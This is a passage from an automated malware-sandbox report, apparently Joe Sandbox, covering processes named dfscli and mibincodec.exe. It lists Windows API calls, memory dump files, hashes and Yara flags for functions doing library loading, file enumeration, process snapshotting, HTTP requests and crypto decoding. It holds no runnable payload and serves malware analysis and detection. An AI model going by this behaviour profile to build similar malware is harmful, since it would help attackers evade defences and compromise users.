MulDiv.KERNEL32(4689EC45,00000000,00000000), ref: 0042603D

Strings

Fw@, xrefs: 00425FE0

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ViewportWindow
String ID: Fw@
API String ID: 1589084482-2650048193
Opcode ID: 8ba70028f401d5047d1f3a52ed28d91a46c6a7a7344e8140392911f288c2f3f7
Instruction ID: 608e97be970086dca0e1fa4dc7a0ff41e63cb8bbaa647bae0e741146e3f8859e
Opcode Fuzzy Hash: 8ba70028f401d5047d1f3a52ed28d91a46c6a7a7344e8140392911f288c2f3f7
Instruction Fuzzy Hash: 2AF06276900218BFDB207FA59C05C9FBBACDE44214B15043AF940B3152FA75AD108E54

Function 00422479 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042247E

Strings

(C, xrefs: 004224B2
8C, xrefs: 0042249A

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prolog
String ID: (C$8C
API String ID: 3519838083-3442521767
Opcode ID: d0684f4a3a2aa2981b89f74af03356699898ca66f3f3816a80820ca2283281ea
Instruction ID: 7ee2ab24155dd1533db6df93568111abed88cbadf2414e72971fbd093de00081
Opcode Fuzzy Hash: d0684f4a3a2aa2981b89f74af03356699898ca66f3f3816a80820ca2283281ea
Instruction Fuzzy Hash: 1D017571F01170AFD738BB19A6447AEB2A0AF08710F46826FA05997690CBBC8C408A49

Function 00429BB8 Relevance: 5.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00429C15
LeaveCriticalSection.KERNEL32(?,?), ref: 00429C25
LocalFree.KERNEL32(?), ref: 00429C2E
TlsSetValue.KERNEL32(?,00000000), ref: 00429C40

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: de5eba0c02b59015a2dcef9b56467b2c93d0e5e81c9af4f62aac4812230e8b9f
Instruction ID: 4f4236dd2a41b9a2d9142ab37103e81bc3eebe3eca6605d7b1983f38d4fab71a
Opcode Fuzzy Hash: de5eba0c02b59015a2dcef9b56467b2c93d0e5e81c9af4f62aac4812230e8b9f
Instruction Fuzzy Hash: 2011AC34700610EFD720CF56E884B6AB7B4FF05315F90802EE1468B2A1CB75BC50CB18

Function 00410D0F Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00411300,00000000,?,00000000), ref: 00410D36
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00411300,00000000,?,00000000), ref: 00410D6F
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00410D8D
HeapFree.KERNEL32(00000000,?), ref: 00410DA4

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: e608a2bb139fdee7726e9a56420f7327c038405a57471824ccf7c18d09e58544
Instruction ID: 5ba2f75a3631e755b4902d4e05e9c9231f22547c1912ff447ca3f9ea5e59f1b4
Opcode Fuzzy Hash: e608a2bb139fdee7726e9a56420f7327c038405a57471824ccf7c18d09e58544
Instruction Fuzzy Hash: 3E118FB4600200DFD7718F99FC45D627BB5FB82315760453AF296C62B0C770B8AACB18

Function 00429F15 Relevance: 5.0, APIs: 4, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F43
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F55
LeaveCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F5E
EnterCriticalSection.KERNEL32(00000000,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399), ref: 00429F70

Part of subcall function 00429EAC: InitializeCriticalSection.KERNEL32(0043F21C,00429F23,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429EC4

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-0
Opcode ID: fbf9e35468238c369b4e9d309fef15a1138fbb31a7b7e0400c31e566406133dd
Instruction ID: 64048ed4fafcfd63e0d0b0e47ab2320bfea24fe3f3f20fa265999014551e40f8
Opcode Fuzzy Hash: fbf9e35468238c369b4e9d309fef15a1138fbb31a7b7e0400c31e566406133dd
Instruction Fuzzy Hash: 87F06D7690021ADFDB109F95FC84BA7B7ACFB14316F801437E60492021D739A86ACAAC

Analysis Process: mibincodec.exePID: 424, Parent PID: 3180COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	541
Total number of Limit Nodes:	54

Executed Functions

Function 021B1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(021B4054,021B4040), ref: 021B1047
GetProcAddress.KERNEL32(00000000), ref: 021B104E

Part of subcall function 021B1B30: SetLastError.KERNEL32(0000000D,?,021B1070,?,00000040), ref: 021B1B3D

SetLastError.KERNEL32(000000C1), ref: 021B1096

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 0084b633ff05030a67721671d030c960c8419b7e115d5c1a1ec815c21720ced9
Instruction ID: 2c7b2b3a594f18cdf5198ec9edd4cd9c93e4c301a5b9ba3faa8e64fbd283306b
Opcode Fuzzy Hash: 0084b633ff05030a67721671d030c960c8419b7e115d5c1a1ec815c21720ced9
Instruction Fuzzy Hash: E5F1F5B4E40209EFDB05CF94D994BAEB7B1BF48304F218598E919AB351D734EA51CFA0

Function 021F38F0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,?,00000000,021F998D,16BF64F2,00000001), ref: 021F3976
FindFirstFileW.KERNELBASE(?,?,00000000,021F998D,16BF64F2,00000001), ref: 021F3A5D
FindClose.KERNELBASE(?,00000000,021F998D,16BF64F2,00000001), ref: 021F3B91

Strings

8T], xrefs: 021F3910
Ei, xrefs: 021F399D
Ei, xrefs: 021F3AD8
8T], xrefs: 021F3A22
., xrefs: 021F3A95

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$8T]$8T]$Ei$Ei
API String ID: 3541575487-3972632629
Opcode ID: c6eb74326a3090d0e37720cb6344acecc99cebee58611247717fafc6732cdda3
Instruction ID: 5feacda54cd0ad030147adbf2a03266489589671f6b91ed6c88075ffdc1f02ee
Opcode Fuzzy Hash: c6eb74326a3090d0e37720cb6344acecc99cebee58611247717fafc6732cdda3
Instruction Fuzzy Hash: 2C51D471BC42819BC7E8AB75A85467B36E6ABC0344F140D9DEF76C7280EB35C8458793

Function 021F4CB0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 021F4D29
Process32FirstW.KERNEL32(00000000,?,?,00000000,?), ref: 021F4D6F
FindCloseChangeNotification.KERNELBASE(00000000,?,00000000,?), ref: 021F4E0D

Strings

n\9, xrefs: 021F4DA6
.#v, xrefs: 021F4E07

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32
String ID: n\9$.#v
API String ID: 692674288-3968600533
Opcode ID: 067e6c038b5f10eb50f59eeb72ea6d7104f7eb4d7e300a2ab35b7f7e3d5515c2
Instruction ID: cabaca1259b607e10266d4b43a4079996aace2dc7d2141cb002060879c73e367
Opcode Fuzzy Hash: 067e6c038b5f10eb50f59eeb72ea6d7104f7eb4d7e300a2ab35b7f7e3d5515c2
Instruction Fuzzy Hash: C4314C77BC0201A7D7A45AB9B46473F32EA9B90208F15092AE775C7380F778CC5547E2

Function 021F8240 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0235BF01,00000000,?,?,00000000,2564BE4F), ref: 021F83A9

Strings

@1#v, xrefs: 021F8364, 021F8386
.#v, xrefs: 021F8479, 021F84A4
J, xrefs: 021F82D9

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: @1#v$J$.#v
API String ID: 823142352-3152639806
Opcode ID: 7e661b43b6b1658975cf5e64fb3920b6a4e8dad1accd2fd410a27d0ea341b2b2
Instruction ID: 17dbb74851171a34d43cc1f3353196310ddbd510d3a7faa0d66aee861bcb3c87
Opcode Fuzzy Hash: 7e661b43b6b1658975cf5e64fb3920b6a4e8dad1accd2fd410a27d0ea341b2b2
Instruction Fuzzy Hash: 6E61CE72A883419FC788DF68D484A2FB7E1ABC4744F05891DF6B59B290D774D9098F82

Function 021F2650 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 227
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?,?), ref: 021F2934

Strings

3$, xrefs: 021F280D

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
String ID: 3$
API String ID: 1207547050-3878113309
Opcode ID: 91850988d691e8adc5ae3304372b581d4570b489b3390b7cb7c9c32956a5c668
Instruction ID: f40ca59952d67fcb1e9a6bce94ab4bf9dee2665be91c44fdc8f8a3d37741bcbc
Opcode Fuzzy Hash: 91850988d691e8adc5ae3304372b581d4570b489b3390b7cb7c9c32956a5c668
Instruction Fuzzy Hash: 1771DC32FC01525FCBE4AA65EC50B6736D3AB84704F164569EF369F294EB309C518BC2

Function 021F2C20 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 287
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpSendRequestW.WININET(?,?,000000FF,00000000,00000000), ref: 021F2CD5
InternetCloseHandle.WININET(?), ref: 021F2DBE
InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 021F2DFA
ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 021F2EDB
InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 021F2FE2

Strings

W~o, xrefs: 021F2CA8, 021F2CC7

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: W~o
API String ID: 1741791824-2218025126
Opcode ID: f0ca9d72312876411fa6dcca061dfb1c9d9ce1edaacaeec72916e4870767938b
Instruction ID: 11cec9c36dde1d2f44a607204b06067a43ad2406bc9b11de65fae899d120deda
Opcode Fuzzy Hash: f0ca9d72312876411fa6dcca061dfb1c9d9ce1edaacaeec72916e4870767938b
Instruction Fuzzy Hash: 55A1C4B2E843419FDBA4AB659C8072B76D6ABC4744F110569EF75DB390EB30DC418BC2

Function 021F30D0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 150
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000228), ref: 021F3182

Strings

&, xrefs: 021F328D
p^5w, xrefs: 021F3175
B, xrefs: 021F3262
S=, xrefs: 021F3226

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &$B$S=$p^5w
API String ID: 1279760036-3144705412
Opcode ID: 437eb428603c2a3755aad44285a08f30e9105e7213a1e2f6941e12d76c8f3ecd
Instruction ID: c7efb321e7db2874c187539f99da600cb7420d609db72f27dabdb2a3b2b85b9a
Opcode Fuzzy Hash: 437eb428603c2a3755aad44285a08f30e9105e7213a1e2f6941e12d76c8f3ecd
Instruction Fuzzy Hash: 85510672B483819FCB98DE28949412FB7E6FBD0344F20485EF276C7250DB70D9868B92

Function 021F9C10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 021F9CBA
QueryFullProcessImageNameW.KERNELBASE(00000000), ref: 021F9CBD
lstrcmpiW.KERNELBASE(?,?), ref: 021F9D4E

Strings

C$v, xrefs: 021F9C86, 021F9CA8
79V#, xrefs: 021F9C72

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuerylstrcmpi
String ID: C$v$79V#
API String ID: 3605714105-434289715
Opcode ID: ee5835c1042dfa1da904ab84e1a4106f8cd1e31a0870c21599e390da410e6283
Instruction ID: cebd40fceb828ee445b3ed3fea2a1dc3483133382960dac653a7f3255579c28b
Opcode Fuzzy Hash: ee5835c1042dfa1da904ab84e1a4106f8cd1e31a0870c21599e390da410e6283
Instruction Fuzzy Hash: 56310572B802489FD7A4FB68A49077B22D6ABC0354F25086AE775CB280EB71CC44CF91

Function 021F5BC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 021F5C1B
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 021F5C8A

Strings

p^5w, xrefs: 021F5BEF, 021F5C0E

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: p^5w
API String ID: 2488874121-1074354707
Opcode ID: f998d841d3e53dae81e17e700950d0863be564b6bdba1154c4861be36005fba3
Instruction ID: a265711e7b0c301eb1bc13861c2a6f56bdf6898d8b694dd5552a827caccb8271
Opcode Fuzzy Hash: f998d841d3e53dae81e17e700950d0863be564b6bdba1154c4861be36005fba3
Instruction Fuzzy Hash: 65117F72F812027FD794AAB5689062B26DBABC0694B544878F736CB340EB60CC514BD1

Function 0218002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,02180005), ref: 021800E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,02180005), ref: 02180111

Memory Dump Source

Source File: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2180000_mibincodec.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: c843fc4d28b37ed538c78f628ef067e7ef00afac4c7e7d8a4bf5ab4dcc212224
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: ABD1AE71A8870A8FD714EF69C8C076AB3E1FF88318F18452DE8959B241E774E859CF91

Function 021F99A0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 021F9B6E

Strings

+Y6t, xrefs: 021F9A8B

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID: +Y6t
API String ID: 1065410024-3949905484
Opcode ID: 63ded62093aca15ba790b883cc805a748aae774445130bfa27a0770861c215c0
Instruction ID: 439164742fb5fc3b837fc3b356d269e1c39bbac694c00e5ea9cf0366e8157a0f
Opcode Fuzzy Hash: 63ded62093aca15ba790b883cc805a748aae774445130bfa27a0770861c215c0
Instruction Fuzzy Hash: 6C516374B802419FDBA8FB65A890B7F32D66B84344B15485EFB75CB280EB70C9518B92

Function 021F9D70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,021F99A0,00000000,00000000,00000000), ref: 021F9E83

Strings

p^5w, xrefs: 021F9E0F, 021F9E2E

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: p^5w
API String ID: 2422867632-1074354707
Opcode ID: a38138dbb4b17f40e6f6528759be6b83f1cb7f04227724e74754ccf247a50969
Instruction ID: 1addb316279465dd207ef45ce32087bc5c2f8c38959e7dbb1eadac55df1cd9fc
Opcode Fuzzy Hash: a38138dbb4b17f40e6f6528759be6b83f1cb7f04227724e74754ccf247a50969
Instruction Fuzzy Hash: 7E215E31BC12416BEBE4AA75A951B3A22D3AB80744F24485DE736CF2C1FB61D8518B86

Function 021F5360 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(2564BE4F,2564BE4F), ref: 021F5401

Strings

Ei, xrefs: 021F53AF

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: Ei
API String ID: 1721193555-3988083245
Opcode ID: 2b79accd1d5cd339f61f6048b750433f64ede1cad25719f14cf14755a0cf9615
Instruction ID: b0a3e23f95728da6301c680fe57a2eb477887c73effab68121756fe7090766fe
Opcode Fuzzy Hash: 2b79accd1d5cd339f61f6048b750433f64ede1cad25719f14cf14755a0cf9615
Instruction Fuzzy Hash: 04213D71E84250A7C6E48A6CA4C427F79D35794388FD4092AE779DB350FB64C9408B82

Function 021F5490 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
